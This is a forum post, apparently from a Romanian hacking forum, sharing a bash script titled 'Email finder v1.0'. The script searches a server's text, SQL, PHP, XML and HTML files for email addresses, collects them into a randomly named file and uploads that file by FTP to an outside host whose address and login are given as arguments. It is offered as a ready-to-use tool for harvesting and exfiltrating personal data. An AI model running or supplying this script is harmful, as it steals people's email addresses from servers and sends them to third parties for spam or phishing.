Jump to content
PuRiCeL

Email finder v1.0 [BASH]

Recommended Posts

#!/bin/bash
# Email Finder v1.0


echo "$0 ftp.wn.com wn password"
rm -rf emails
locate *.txt | xargs perl -wne'while(/[\w\.\-]+@[\w\.\-]+\w+/g){print "$&\n"}' | sort | uniq >> emails
locate *.sql | xargs perl -wne'while(/[\w\.\-]+@[\w\.\-]+\w+/g){print "$&\n"}' | sort | uniq >> emails
locate *.php | xargs perl -wne'while(/[\w\.\-]+@[\w\.\-]+\w+/g){print "$&\n"}' | sort | uniq >> emails
locate *.xml | xargs perl -wne'while(/[\w\.\-]+@[\w\.\-]+\w+/g){print "$&\n"}' | sort | uniq >> emails
locate *.html | xargs perl -wne'while(/[\w\.\-]+@[\w\.\-]+\w+/g){print "$&\n"}' | sort | uniq >> emails
locate *.htm | xargs perl -wne'while(/[\w\.\-]+@[\w\.\-]+\w+/g){print "$&\n"}' | sort | uniq >> emails
if [ -n "$1" ]
then
str0="$1"
else
str0="$$"
fi
POS=2
LEN=8
str1=$( echo "$str0" | md5sum | md5sum )
randstring="${str1:$POS:$LEN}"
mv emails "$randstring"
echo "[+] Urcam pe ftp [+]"
ftp -inv $1<<ENDFTP
user $2 $3
put "$randstring"
bye
ENDFTP
echo "[+] Gata [+]"

Info: Cauta mailurile de pe server apoi le urca pe ftp.

Edited by PuRiCeL
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...